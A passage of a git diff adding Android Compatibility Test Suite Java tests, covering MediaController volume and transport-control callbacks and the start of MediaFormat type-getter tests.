+            public void onSetVolumeTo(int volume) {
+                synchronized (mWaitLock) {
+                    setCurrentVolume(volume);
+                    mWaitLock.notify();
+                }
+            }
+
+            @Override
+            public void onAdjustVolume(int direction) {
+                synchronized (mWaitLock) {
+                    switch (direction) {
+                        case AudioManager.ADJUST_LOWER:
+                            setCurrentVolume(getCurrentVolume() - 1);
+                            break;
+                        case AudioManager.ADJUST_RAISE:
+                            setCurrentVolume(getCurrentVolume() + 1);
+                            break;
+                    }
+                    mWaitLock.notify();
+                }
+            }
+        };
+        mSession.setPlaybackToRemote(vp);
+
+        synchronized (mWaitLock) {
+            // test setVolumeTo
+            mController.setVolumeTo(7, 0);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertEquals(7, vp.getCurrentVolume());
+
+            // test adjustVolume
+            mController.adjustVolume(AudioManager.ADJUST_LOWER, 0);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertEquals(6, vp.getCurrentVolume());
+
+            mController.adjustVolume(AudioManager.ADJUST_RAISE, 0);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertEquals(7, vp.getCurrentVolume());
+        }
+    }
+
+    public void testTransportControlsAndMediaSessionCallback() throws Exception {
+        MediaController.TransportControls controls = mController.getTransportControls();
+        final MediaSession.Callback callback = (MediaSession.Callback) mCallback;
+
+        synchronized (mWaitLock) {
+            mCallback.reset();
+            controls.play();
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnPlayCalled);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
+
+            mCallback.reset();
+            controls.pause();
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnPauseCalled);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
+
+            mCallback.reset();
+            controls.stop();
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnStopCalled);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
+
+            mCallback.reset();
+            controls.fastForward();
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnFastForwardCalled);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
+
+            mCallback.reset();
+            controls.rewind();
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnRewindCalled);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
+
+            mCallback.reset();
+            controls.skipToPrevious();
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnSkipToPreviousCalled);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
+
+            mCallback.reset();
+            controls.skipToNext();
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnSkipToNextCalled);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
+
+            mCallback.reset();
+            final long seekPosition = 1000;
+            controls.seekTo(seekPosition);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnSeekToCalled);
+            assertEquals(seekPosition, mCallback.mSeekPosition);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
+
+            mCallback.reset();
+            final Rating rating = Rating.newStarRating(Rating.RATING_5_STARS, 3f);
+            controls.setRating(rating);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnSetRatingCalled);
+            assertEquals(rating.getRatingStyle(), mCallback.mRating.getRatingStyle());
+            assertEquals(rating.getStarRating(), mCallback.mRating.getStarRating());
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
+
+            mCallback.reset();
+            final String mediaId = "test-media-id";
+            final Bundle extras = new Bundle();
+            extras.putString(EXTRAS_KEY, EXTRAS_VALUE);
+            controls.playFromMediaId(mediaId, extras);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnPlayFromMediaIdCalled);
+            assertEquals(mediaId, mCallback.mMediaId);
+            assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
+
+            mCallback.reset();
+            final String query = "test-query";
+            controls.playFromSearch(query, extras);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnPlayFromSearchCalled);
+            assertEquals(query, mCallback.mQuery);
+            assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
+
+            mCallback.reset();
+            final Uri uri = Uri.parse("content://test/popcorn.mod");
+            controls.playFromUri(uri, extras);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnPlayFromUriCalled);
+            assertEquals(uri, mCallback.mUri);
+            assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
+
+            mCallback.reset();
+            final String action = "test-action";
+            controls.sendCustomAction(action, extras);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnCustomActionCalled);
+            assertEquals(action, mCallback.mAction);
+            assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
+
+            mCallback.reset();
+            mCallback.mOnCustomActionCalled = false;
+            final CustomAction customAction =
+                    new CustomAction.Builder(action, action, -1).setExtras(extras).build();
+            controls.sendCustomAction(customAction, extras);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnCustomActionCalled);
+            assertEquals(action, mCallback.mAction);
+            assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
+
+            mCallback.reset();
+            final long queueItemId = 1000;
+            controls.skipToQueueItem(queueItemId);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnSkipToQueueItemCalled);
+            assertEquals(queueItemId, mCallback.mQueueItemId);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
+
+            mCallback.reset();
+            controls.prepare();
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnPrepareCalled);
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
+
+            mCallback.reset();
+            controls.prepareFromMediaId(mediaId, extras);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnPrepareFromMediaIdCalled);
+            assertEquals(mediaId, mCallback.mMediaId);
+            assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
+
+            mCallback.reset();
+            controls.prepareFromSearch(query, extras);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnPrepareFromSearchCalled);
+            assertEquals(query, mCallback.mQuery);
+            assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
+
+            mCallback.reset();
+            controls.prepareFromUri(uri, extras);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnPrepareFromUriCalled);
+            assertEquals(uri, mCallback.mUri);
+            assertEquals(EXTRAS_VALUE, mCallback.mExtras.getString(EXTRAS_KEY));
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
+
+            mCallback.reset();
+            KeyEvent event = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_MEDIA_STOP);
+            mController.dispatchMediaButtonEvent(event);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnMediaButtonEventCalled);
+            // KeyEvent doesn't override equals.
+            assertEquals(KeyEvent.ACTION_DOWN, mCallback.mKeyEvent.getAction());
+            assertEquals(KeyEvent.KEYCODE_MEDIA_STOP, mCallback.mKeyEvent.getKeyCode());
+            assertTrue(compareRemoteUserInfo(mControllerInfo, mCallback.mCallerInfo));
+
+            // just call the callback once directly so it's marked as tested
+            try {
+                callback.onPlay();
+                callback.onPause();
+                callback.onStop();
+                callback.onFastForward();
+                callback.onRewind();
+                callback.onSkipToPrevious();
+                callback.onSkipToNext();
+                callback.onSeekTo(mCallback.mSeekPosition);
+                callback.onSetRating(mCallback.mRating);
+                callback.onPlayFromMediaId(mCallback.mMediaId, mCallback.mExtras);
+                callback.onPlayFromSearch(mCallback.mQuery, mCallback.mExtras);
+                callback.onPlayFromUri(mCallback.mUri, mCallback.mExtras);
+                callback.onCustomAction(mCallback.mAction, mCallback.mExtras);
+                callback.onCustomAction(mCallback.mAction, mCallback.mExtras);
+                callback.onSkipToQueueItem(mCallback.mQueueItemId);
+                callback.onPrepare();
+                callback.onPrepareFromMediaId(mCallback.mMediaId, mCallback.mExtras);
+                callback.onPrepareFromSearch(mCallback.mQuery, mCallback.mExtras);
+                callback.onPrepareFromUri(Uri.parse("http://d.android.com"), mCallback.mExtras);
+                callback.onCommand(mCallback.mCommand, mCallback.mExtras, null);
+                callback.onSetPlaybackSpeed(mCallback.mSpeed);
+                Intent mediaButtonIntent = new Intent(Intent.ACTION_MEDIA_BUTTON);
+                mediaButtonIntent.putExtra(Intent.EXTRA_KEY_EVENT, event);
+                callback.onMediaButtonEvent(mediaButtonIntent);
+            } catch (IllegalStateException ex) {
+                // Expected, since the MediaSession.getCurrentControllerInfo() is called in every
+                // callback method, but no controller is sending any command.
+            }
+        }
+    }
+
+    public void testRegisterCallbackWithNullThrowsIAE() {
+        try {
+            mController.registerCallback(/*handler=*/ null);
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            mController.registerCallback(/*handler=*/ null, mHandler);
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+    }
+
+    public void testRegisteringSameCallbackWithDifferentHandlerHasNoEffect() {
+        MediaController.Callback callback = new MediaController.Callback() {};
+        mController.registerCallback(callback, mHandler);
+
+        Handler initialHandler = mController.getHandlerForCallback(callback);
+        assertEquals(mHandler.getLooper(), initialHandler.getLooper());
+
+        // Create a separate handler with a new looper.
+        HandlerThread handlerThread = new HandlerThread("Test thread");
+        handlerThread.start();
+
+        // This call should not change the handler which is previously set.
+        mController.registerCallback(callback, new Handler(handlerThread.getLooper()));
+        Handler currentHandlerInController = mController.getHandlerForCallback(callback);
+
+        // The handler should not have been replaced.
+        assertEquals(initialHandler, currentHandlerInController);
+        assertNotEquals(handlerThread.getLooper(), currentHandlerInController.getLooper());
+
+        handlerThread.quitSafely();
+    }
+
+    public void testUnregisterCallbackWithNull() {
+        try {
+            mController.unregisterCallback(/*handler=*/ null);
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+    }
+
+    public void testUnregisterCallbackShouldRemoveCallback() {
+        MediaController.Callback callback = new MediaController.Callback() {};
+        mController.registerCallback(callback, mHandler);
+        assertEquals(mHandler.getLooper(), mController.getHandlerForCallback(callback).getLooper());
+
+        mController.unregisterCallback(callback);
+        assertNull(mController.getHandlerForCallback(callback));
+    }
+
+    public void testDispatchMediaButtonEventWithNullKeyEvent() {
+        try {
+            mController.dispatchMediaButtonEvent(/*keyEvent=*/ null);
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+    }
+
+    public void testDispatchMediaButtonEventWithNonMediaKeyEventReturnsFalse() {
+        KeyEvent keyEvent = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_CAPS_LOCK);
+        assertFalse(mController.dispatchMediaButtonEvent(keyEvent));
+    }
+
+    public void testPlaybackInfoCreatorNewArray() {
+        final int arrayLength = 5;
+        MediaController.PlaybackInfo[] playbackInfoArrayInitializedWithNulls
+                = MediaController.PlaybackInfo.CREATOR.newArray(arrayLength);
+        assertNotNull(playbackInfoArrayInitializedWithNulls);
+        assertEquals(arrayLength, playbackInfoArrayInitializedWithNulls.length);
+        for (MediaController.PlaybackInfo playbackInfo : playbackInfoArrayInitializedWithNulls) {
+            assertNull(playbackInfo);
+        }
+    }
+
+    public void testTransportControlsPlayAndPrepareFromMediaIdWithIllegalArgumentsThrowsIAE() {
+        MediaController.TransportControls transportControls = mController.getTransportControls();
+
+        try {
+            transportControls.playFromMediaId(/*mediaId=*/ null, /*extras=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            transportControls.playFromMediaId(/*mediaId=*/ "", /*extras=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            transportControls.prepareFromMediaId(/*mediaId=*/ null, /*extras=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            transportControls.prepareFromMediaId(/*mediaId=*/ "", /*extras=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+    }
+
+    public void testTransportControlsPlayAndPrepareFromUriWithIllegalArgumentsThrowsIAE() {
+        MediaController.TransportControls transportControls = mController.getTransportControls();
+
+        try {
+            transportControls.playFromUri(/*uri=*/ null, /*extras=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            transportControls.playFromUri(Uri.EMPTY, /*extras=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            transportControls.prepareFromUri(/*uri=*/ null, /*extras=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            transportControls.prepareFromUri(Uri.EMPTY, /*extras=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+    }
+
+    public void testTransportControlsPlayAndPrepareFromSearchWithNullDoesNotCrash()
+            throws Exception {
+        MediaController.TransportControls transportControls = mController.getTransportControls();
+
+        synchronized (mWaitLock) {
+            // These calls should not crash. Null query is accepted on purpose.
+            transportControls.playFromSearch(/*query=*/ null, /*extras=*/ new Bundle());
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnPlayFromSearchCalled);
+
+            transportControls.prepareFromSearch(/*query=*/ null, /*extras=*/ new Bundle());
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mCallback.mOnPrepareFromSearchCalled);
+        }
+    }
+
+    public void testSendCustomActionWithIllegalArgumentsThrowsIAE() {
+        MediaController.TransportControls transportControls = mController.getTransportControls();
+
+        try {
+            transportControls.sendCustomAction((PlaybackState.CustomAction) null,
+                    /*args=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            transportControls.sendCustomAction(/*action=*/ (String) null, /*args=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+
+        try {
+            transportControls.sendCustomAction(/*action=*/ "", /*args=*/ new Bundle());
+            fail();
+        } catch (IllegalArgumentException ex) {
+            // Expected
+        }
+    }
+
+    private class MediaSessionCallback extends MediaSession.Callback {
+        private long mSeekPosition;
+        private long mQueueItemId;
+        private Rating mRating;
+        private String mMediaId;
+        private String mQuery;
+        private Uri mUri;
+        private String mAction;
+        private String mCommand;
+        private Bundle mExtras;
+        private ResultReceiver mCommandCallback;
+        private KeyEvent mKeyEvent;
+        private RemoteUserInfo mCallerInfo;
+        private float mSpeed;
+
+        private boolean mOnPlayCalled;
+        private boolean mOnPauseCalled;
+        private boolean mOnStopCalled;
+        private boolean mOnFastForwardCalled;
+        private boolean mOnRewindCalled;
+        private boolean mOnSkipToPreviousCalled;
+        private boolean mOnSkipToNextCalled;
+        private boolean mOnSeekToCalled;
+        private boolean mOnSkipToQueueItemCalled;
+        private boolean mOnSetRatingCalled;
+        private boolean mOnPlayFromMediaIdCalled;
+        private boolean mOnPlayFromSearchCalled;
+        private boolean mOnPlayFromUriCalled;
+        private boolean mOnCustomActionCalled;
+        private boolean mOnCommandCalled;
+        private boolean mOnPrepareCalled;
+        private boolean mOnPrepareFromMediaIdCalled;
+        private boolean mOnPrepareFromSearchCalled;
+        private boolean mOnPrepareFromUriCalled;
+        private boolean mOnMediaButtonEventCalled;
+        private boolean mOnSetPlaybackSpeedCalled;
+
+        public void reset() {
+            mSeekPosition = -1;
+            mQueueItemId = -1;
+            mRating = null;
+            mMediaId = null;
+            mQuery = null;
+            mUri = null;
+            mAction = null;
+            mExtras = null;
+            mCommand = null;
+            mCommandCallback = null;
+            mKeyEvent = null;
+            mCallerInfo = null;
+            mSpeed = -1.0f;
+
+            mOnPlayCalled = false;
+            mOnPauseCalled = false;
+            mOnStopCalled = false;
+            mOnFastForwardCalled = false;
+            mOnRewindCalled = false;
+            mOnSkipToPreviousCalled = false;
+            mOnSkipToNextCalled = false;
+            mOnSkipToQueueItemCalled = false;
+            mOnSeekToCalled = false;
+            mOnSetRatingCalled = false;
+            mOnPlayFromMediaIdCalled = false;
+            mOnPlayFromSearchCalled = false;
+            mOnPlayFromUriCalled = false;
+            mOnCustomActionCalled = false;
+            mOnCommandCalled = false;
+            mOnPrepareCalled = false;
+            mOnPrepareFromMediaIdCalled = false;
+            mOnPrepareFromSearchCalled = false;
+            mOnPrepareFromUriCalled = false;
+            mOnMediaButtonEventCalled = false;
+            mOnSetPlaybackSpeedCalled = false;
+        }
+
+        @Override
+        public void onPlay() {
+            synchronized (mWaitLock) {
+                mOnPlayCalled = true;
+                mCallerInfo = mSession.getCurrentControllerInfo();
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onPause() {
+            synchronized (mWaitLock) {
+                mOnPauseCalled = true;
+                mCallerInfo = mSession.getCurrentControllerInfo();
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onStop() {
+            synchronized (mWaitLock) {
+                mOnStopCalled = true;
+                mCallerInfo = mSession.getCurrentControllerInfo();
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onFastForward() {
+            synchronized (mWaitLock) {
+                mOnFastForwardCalled = true;
+                mCallerInfo = mSession.getCurrentControllerInfo();
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onRewind() {
+            synchronized (mWaitLock) {
+                mOnRewindCalled = true;
+                mCallerInfo = mSession.getCurrentControllerInfo();
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onSkipToPrevious() {
+            synchronized (mWaitLock) {
+                mOnSkipToPreviousCalled = true;
+                mCallerInfo = mSession.getCurrentControllerInfo();
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onSkipToNext() {
+            synchronized (mWaitLock) {
+                mOnSkipToNextCalled = true;
+                mCallerInfo = mSession.getCurrentControllerInfo();
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onSeekTo(long pos) {
+            synchronized (mWaitLock) {
+                mOnSeekToCalled = true;
+                mSeekPosition = pos;
+                mCallerInfo = mSession.getCurrentControllerInfo();
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onSetRating(Rating rating) {
+            synchronized (mWaitLock) {
+                mOnSetRatingCalled = true;
+                mRating = rating;
+                mCallerInfo = mSession.getCurrentControllerInfo();
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onPlayFromMediaId(String mediaId, Bundle extras) {
+            synchronized (mWaitLock) {
+                mOnPlayFromMediaIdCalled = true;
+                mMediaId = mediaId;
+                mExtras = extras;
+                mCallerInfo = mSession.getCurrentControllerInfo();
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onPlayFromSearch(String query, Bundle extras) {
+            synchronized (mWaitLock) {
+                mOnPlayFromSearchCalled = true;
+                mQuery = query;
+                mExtras = extras;
+                mCallerInfo = mSession.getCurrentControllerInfo();
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onPlayFromUri(Uri uri, Bundle extras) {
+            synchronized (mWaitLock) {
+                mOnPlayFromUriCalled = true;
+                mUri = uri;
+                mExtras = extras;
+                mCallerInfo = mSession.getCurrentControllerInfo();
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onCustomAction(String action, Bundle extras) {
+            synchronized (mWaitLock) {
+                mOnCustomActionCalled = true;
+                mAction = action;
+                mExtras = extras;
+                mCallerInfo = mSession.getCurrentControllerInfo();
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onSkipToQueueItem(long id) {
+            synchronized (mWaitLock) {
+                mOnSkipToQueueItemCalled = true;
+                mQueueItemId = id;
+                mCallerInfo = mSession.getCurrentControllerInfo();
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onCommand(String command, Bundle extras, ResultReceiver cb) {
+            synchronized (mWaitLock) {
+                mOnCommandCalled = true;
+                mCommand = command;
+                mExtras = extras;
+                mCommandCallback = cb;
+                mCallerInfo = mSession.getCurrentControllerInfo();
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onPrepare() {
+            synchronized (mWaitLock) {
+                mOnPrepareCalled = true;
+                mCallerInfo = mSession.getCurrentControllerInfo();
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onPrepareFromMediaId(String mediaId, Bundle extras) {
+            synchronized (mWaitLock) {
+                mOnPrepareFromMediaIdCalled = true;
+                mMediaId = mediaId;
+                mExtras = extras;
+                mCallerInfo = mSession.getCurrentControllerInfo();
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onPrepareFromSearch(String query, Bundle extras) {
+            synchronized (mWaitLock) {
+                mOnPrepareFromSearchCalled = true;
+                mQuery = query;
+                mExtras = extras;
+                mCallerInfo = mSession.getCurrentControllerInfo();
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public void onPrepareFromUri(Uri uri, Bundle extras) {
+            synchronized (mWaitLock) {
+                mOnPrepareFromUriCalled = true;
+                mUri = uri;
+                mExtras = extras;
+                mCallerInfo = mSession.getCurrentControllerInfo();
+                mWaitLock.notify();
+            }
+        }
+
+        @Override
+        public boolean onMediaButtonEvent(Intent mediaButtonIntent) {
+            synchronized (mWaitLock) {
+                mOnMediaButtonEventCalled = true;
+                mCallerInfo = mSession.getCurrentControllerInfo();
+                mKeyEvent = mediaButtonIntent.getParcelableExtra(Intent.EXTRA_KEY_EVENT);
+                mWaitLock.notify();
+            }
+            return super.onMediaButtonEvent(mediaButtonIntent);
+        }
+
+        @Override
+        public void onSetPlaybackSpeed(float speed) {
+            synchronized (mWaitLock) {
+                mOnSetPlaybackSpeedCalled = true;
+                mCallerInfo = mSession.getCurrentControllerInfo();
+                mSpeed = speed;
+                mWaitLock.notify();
+            }
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaFormatTest.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaFormatTest.java
new file mode 100644
index 0000000..86000f6
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaFormatTest.java
@@ -0,0 +1,835 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.annotation.NonNull;
+import android.media.MediaFormat;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import java.lang.reflect.Field;
+import java.nio.ByteBuffer;
+import java.util.stream.Collectors;
+import java.util.stream.Stream;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Set;
+
+public class MediaFormatTest extends AndroidTestCase {
+    private static final String TAG = "MediaFormatTest";
+    private static ByteBuffer defaultByteBuffer = ByteBuffer.allocateDirect(16);
+
+    private void assertGetByteBuffersThrowClassCastException(
+            MediaFormat format, String key, String type) {
+        try {
+            ByteBuffer value = format.getByteBuffer(key);
+            throw new AssertionError("read " + type + " as ByteBuffer " + value);
+        } catch (ClassCastException e) {
+        }
+
+        try {
+            ByteBuffer value = format.getByteBuffer(key, defaultByteBuffer);
+            throw new AssertionError("read " + type + " with default as ByteBuffer " + value);
+        } catch (ClassCastException e) {
+        }
+    }
+
+    private void assertGetFloatsThrowClassCastException(
+            MediaFormat format, String key, String type) {
+        try {
+            float value = format.getFloat(key);
+            throw new AssertionError("read " + type + " as float " + value);
+        } catch (ClassCastException e) {
+        }
+
+        try {
+            float value = format.getFloat(key, 321.f);
+            throw new AssertionError("read " + type + " with default as float " + value);
+        } catch (ClassCastException e) {
+        }
+    }
+
+    private void assertGetIntegersThrowClassCastException(
+            MediaFormat format, String key, String type) {
+        try {
+            int value = format.getInteger(key);
+            throw new AssertionError("read " + type + " as int " + value);
+        } catch (ClassCastException e) {
+        }
+
+        try {
+            int value = format.getInteger(key, 123);
+            throw new AssertionError("read " + type + " with default as int " + value);
+        } catch (ClassCastException e) {
+        }
+    }
+
+    private void assertGetLongsThrowClassCastException(
+            MediaFormat format, String key, String type) {
+        try {
+            long value = format.getLong(key);
+            throw new AssertionError("read " + type + " as long " + value);
+        } catch (ClassCastException e) {
+        }
+
+        try {
+            long value = format.getLong(key, 321L);
+            throw new AssertionError("read " + type + " with default as long " + value);
+        } catch (ClassCastException e) {
+        }
+    }
+
+    private void assertGetNumbersThrowClassCastException(
+            MediaFormat format, String key, String type) {
+        try {
+            Number value = format.getNumber(key);
+            throw new AssertionError("read " + type + " as Number " + value);
+        } catch (ClassCastException e) {
+        }
+
+        try {
+            Number value = format.getNumber(key, 321.f);
+            throw new AssertionError("read " + type + " with default as Number " + value);
+        } catch (ClassCastException e) {
+        }
+    }
+
+    private void assertGetStringsThrowClassCastException(
+            MediaFormat format, String key, String type) {
+        try {
+            String value = format.getString(key);
+            throw new AssertionError("read " + type + " as string " + value);
+        } catch (ClassCastException e) {
+        }
+
+        try {
+            String value = format.getString(key, "321");
+            throw new AssertionError("read " + type + " with default as string " + value);
+        } catch (ClassCastException e) {
+        }
+    }
+
+    public void testIntegerValue() throws Exception {
+        MediaFormat format = new MediaFormat();
+        format.setInteger("int", 123);
+
+        assertEquals(123, format.getInteger("int"));
+
+        // We should be able to read int values as numbers.
+        assertEquals(123, format.getNumber("int").intValue());
+        assertEquals(123, format.getNumber("int", 321).intValue());
+
+        // We should not be able to get an integer value as any other type. Instead,
+        // we should receive a ClassCastException
+        assertGetByteBuffersThrowClassCastException(format, "int", "int");
+        assertGetFloatsThrowClassCastException(format, "int", "int");
+        assertGetLongsThrowClassCastException(format, "int", "int");
+        assertGetStringsThrowClassCastException(format, "int", "int");
+
+        // We should not have a feature enabled for an integer value
+        try {
+            boolean value = format.getFeatureEnabled("int");
+            throw new AssertionError("read int as feature " + value);
+        } catch (IllegalArgumentException e) {
+        }
+
+        testSingleKeyRemoval(format, "int", MediaFormat.TYPE_INTEGER);
+    }
+
+    public void testLongValue() throws Exception {
+        MediaFormat format = new MediaFormat();
+        format.setLong("long", 9876543210L);
+
+        assertEquals(9876543210L, format.getLong("long"));
+
+        // We should be able to read long values as numbers.
+        assertEquals(9876543210L, format.getNumber("long").longValue());
+        assertEquals(9876543210L, format.getNumber("long", 9012345678L).longValue());
+
+        // We should not be able to get a long value as any other type. Instead,
+        // we should receive a ClassCastException
+        assertGetByteBuffersThrowClassCastException(format, "long", "long");
+        assertGetFloatsThrowClassCastException(format, "long", "long");
+        assertGetIntegersThrowClassCastException(format, "long", "long");
+        assertGetStringsThrowClassCastException(format, "long", "long");
+
+        // We should not have a feature enabled for a long value
+        try {
+            boolean value = format.getFeatureEnabled("long");
+            throw new AssertionError("read long as feature " + value);
+        } catch (IllegalArgumentException e) {
+        }
+
+        testSingleKeyRemoval(format, "long", MediaFormat.TYPE_LONG);
+    }
+
+    public void testFloatValue() throws Exception {
+        MediaFormat format = new MediaFormat();
+        format.setFloat("float", 3.14f);
+
+        assertEquals(3.14f, format.getFloat("float"));
+
+        // We should be able to read float values as numbers.
+        assertEquals(3.14f, format.getNumber("float").floatValue());
+        assertEquals(3.14f, format.getNumber("float", 2.81f).floatValue());
+
+        // We should not be able to get a float value as any other type. Instead,
+        // we should receive a ClassCastException
+        assertGetByteBuffersThrowClassCastException(format, "float", "float");
+        assertGetIntegersThrowClassCastException(format, "float", "float");
+        assertGetLongsThrowClassCastException(format, "float", "float");
+        assertGetStringsThrowClassCastException(format, "float", "float");
+
+        // We should not have a feature enabled for a float value
+        try {
+            boolean value = format.getFeatureEnabled("float");
+            throw new AssertionError("read float as feature " + value);
+        } catch (IllegalArgumentException e) {
+        }
+
+        testSingleKeyRemoval(format, "float", MediaFormat.TYPE_FLOAT);
+    }
+
+    public void testStringValue() throws Exception {
+        MediaFormat format = new MediaFormat();
+        format.setString("string", "value");
+
+        assertEquals("value", format.getString("string"));
+
+        // We should not be able to get a string value as any other type. Instead,
+        // we should receive a ClassCastException
+        assertGetByteBuffersThrowClassCastException(format, "string", "string");
+        assertGetFloatsThrowClassCastException(format, "string", "string");
